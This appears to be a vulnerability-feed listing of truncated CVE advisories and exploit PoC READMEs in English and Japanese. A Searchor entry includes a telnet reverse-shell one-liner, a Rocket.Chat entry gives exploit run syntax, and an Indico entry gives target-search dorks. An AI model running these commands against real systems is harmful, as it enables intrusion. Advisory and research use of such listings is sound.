EUVD-2026-89085

Joomla! Core - 20260902 - Core - Unauthorized user account creation via profile.save controller in Joomla 1.5.0-5.4.8, 6.0.0-6.1.3 - The profile.save controller did not check the login state of a user, allowing the creation of guest-level users on sites without active user registration...

Malicious code in @hrmony/benefit-mobilitaet (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bf87d41e53e59a65644aaf92de291a5943afa017fbdc2068ebb6741383f60688 On module load, index.js unconditionally contacts the EC2 Instance Metadata Service at 169.254.169.254, obtains an IMDSv2 token, and retrieves instan...

CVE-2026-4882

CVE-2026-4882 User Registration Advanced Fields = 1.6.20 - 認証なし任意ファイルアップロード 説明 : User Registration Advanced Fields = 1.6.20 - 認証なし任意ファイルアップロード WordPress用プラグイン「User Registration Advanced Fields」バージョン1.6.20以下 は、AJAXアクション urafprofilepictureuploadmethodupload...

CVE-2021-26084

CVE-2021-26084 CVE-2021-26084、Atlassian Confluence の OGNL インジェクションの脆弱性 Atlassian Confluence は企業で広く使用されている Wiki システムであり、一部のバージョンには OGNL 式インジェクションの脆弱性が存在します。攻撃者はこの脆弱性を利用して、ユーザーを必要とせずに対象の Confluence 上で任意のコードを実行できます。 queryStringパラメータによる任意コマンド実行...

CVE-2019-19658

CVE-2019-19658 Chevereto のプロフィールページにおけるストアドXSS - 1.0.0 - 1.1.4 Free、 登録済みユーザーが名前フィールドにスクリプト（この例ではユーザーをGoogleにリダイレクトするもの）を挿入します 誰かが/testのプロフィールにアクセスすると、リダイレクトされます...

CVE-2026-100287

Missing authorization in the attachment history API in Devolutions Server 2026.3.5.0 and earlier allows an authenticated low-privileged user to permanently delete or restore vault attachments via a crafted API request...

CVE-2020-8163

CVE-2020-8163 CVE-2020-8163 - Railsにおけるユーザー指定のローカル名によるリモートコード実行 Rails 5.0.1 におけるユーザー指定のローカル名によるリモートコード実行 5.0.1 より前のバージョンの Rails には、render 呼び出しの locals 引数を制御できる攻撃者によって悪用される脆弱性が 存在しました。 この脆弱性には CVE 識別子 CVE-2020-8163 が割り当てられています。 影響を受けるバージョン: rails 5.0.1 影響を受けない: ユーザーがローカル名を制御できないアプリケーション 修正されたバージョン...

CVE-2014-3704

Python 3 へのコード変換 このコードは、"Drupal 7.0 7.31 - 'Drupalgeddon' SQL Injection Add Admin User" から取得したもので、Academy のモジュール「Attacking Common Applications」の「Attacking Drupal」セクションの演習に合わせて Python 3 に変換されました。 元のコードは Python 2 で書かれていましたが、Python 3 で動作するように変換しました。README の構造はこちらからコピーしています。 必要条件 このコードを実行するには、システムに...

CVE-2023-43364-Searchor-RCE-Exploit

CVE-2023-43364 – Searchor RCE Exploit PoC 安全でない eval の使用による Searchor --test 任意のコマンドを実行 ターゲットサーバー上で任意のコマンドを実行します: python3 CVE-2023-43364.py -a "whoami" 例: python3 CVE-2023-43364.py -a "TF=$mktemp -u;mkfifo $TF && telnet IP PORT 0$TF" python3 CVE-2023-43364.py -a "ls -la" リバースシェル お使いのマシンでリスナーを起動します...

CVE-2026-25197

CVE-2026-25197: ユーザー制御キーによる認証バイパス IDOR 勧告 フィールド| 値 ---|--- CVE| CVE-2026-25197 ICSA| ICSA-26-055-03 Update A CVSS 3.1| 9.1 Critical Vector| CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N CWE| CWE-639 Authorization Bypass Through User-Controlled Key Researcher| Michael Groberman — Gr0m Published|...

Rocket-Chat-3.12.1-PoC-CVE-2021-22911-

Rocket-Chat-3.12.1-PoC-CVE-2021-22911- 1. ログインページに移動 2. 新しいアカウントを登録し、パスワードを P@$$w0rd!1234 に設定 3. スクリプトを実行 -u = 低権限ユーザーのメールアドレス 2FAなし -a = 管理者のメールアドレス -t = URL 例: http://rocketchat.local python3 rocketchat.py -u [email protected] -a [email protected] -t http://192.168.169.164:3000 4...

exploit-joomla

exploit-joomla シンプルなエクスプロイト。CVE-2015-7297, CVE-2015-7857, CVE-2015-7858を利用して、データベースのパスワードを持つユーザーを列挙します。 エクスプロイトタイトル : Joomla 3.2から3.4.4 リモートSQLインジェクション大量エクスプロイト 日付 : 12-09-2020 要件 : Python 3.4.x , Requests モジュール python -m pip install requests コードの入手先 : https://github.com/kally-life/exploit-joomla...

CVE-2022-24086-RCE

CVE-2022-24086-RCE CVE-2022-24086 RCE 説明 Adobe Commerce バージョン 2.4.3-p1（およびそれ以前）および 2.3.7-p2（およびそれ以前）は、チェックアウト処理中に不適切な入力検証の脆弱性の影響を受けます。この問題の悪用にはユーザー操作は不要で、任意のコード実行につながる可能性があります。 POC RCE...

Improper Certificate Validation

org.apache.sshd, sshd-core is vulnerable to improper certificate validation. The vulnerability is due to the server-side authentication process not validating force-command and verify-required certificate options, which allows an attacker with a specially crafted OpenSSH user certificate to...

CVE-2026-24061-Telnetd

CVE-2026-24061 GNU Inetutils Telnetd Authentication Bypass CVE: CVE-2026-24061 Severity: Critical CVSS: 9.8 Critical CWE: CWE-88 — Improper Neutralization of Argument Delimiters in a Command Affected Component: GNU Inetutils telnetd Affected Versions: 1.9.3 through 2.7 Overview CVE-2026-24061 is ...

CVE-2018-7747

CVE-2018-7747 CalderaForms 1.5.9.1 XSS WordPressプラグイン - チュートリアル CalderaFormは、ドラッグ＆ドロップで簡単にフォームを作成できるWordPressプラグインです。 最近の活動でいくつかのポータルをテストする機会があり、そのうちの1つはまさにこのプラグインで作成されたお問い合わせフォームをホストしていました。 対象インスタンスのカスタム設定により、脆弱性を発見することができました。その性質はシンプルで入門書的なものであるため、初心者にいくつかのメカニズムを説明する良い口実になると思います。 教育目的専用 -...

Server-Side Request Forgery

Apache Shiro is vulnerable to Server-Side Request Forgery. The vulnerability is due to insufficient validation of the form‑resubmit target in the Jakarta EE integration module, where the server will initiate an outbound connection to a URL supplied in a crafted HTTP request and transmit...

CVE-2024-50633

CVE-2024-50633 🏆 - CVE-2024-50633 : Indico BOLA脆弱性 IndicoのBOLA脆弱性を発見し、報告しました。 📜 CVE-2024-50633 の説明 Indico v3.2.9 の Broken Object Level Authorization BOLA 脆弱性により、攻撃者はAPIリクエストを操作して機密のユーザー情報にアクセスできます。 クエリ CVE-2024-50633 FOFA : title="Indico" || header="Indico" Google Dork : intitle:"Indico"...

CVE-2026-8937 Missing Authorization in GitLab

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.0 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could have allowed an authenticated user to read private child issue contents, including titles and descriptions, from projects...

CVE-2026-8937

GitLab CE/EE versions 19.0 before 19.2.7 , 19.3 before 19.3.3 , and 19.4 before 19.4.1 are affected by a Missing Authorization vulnerability. Under specific conditions, an authenticated user could read private child issue contents, such as titles and descriptions, from projects they are not autho...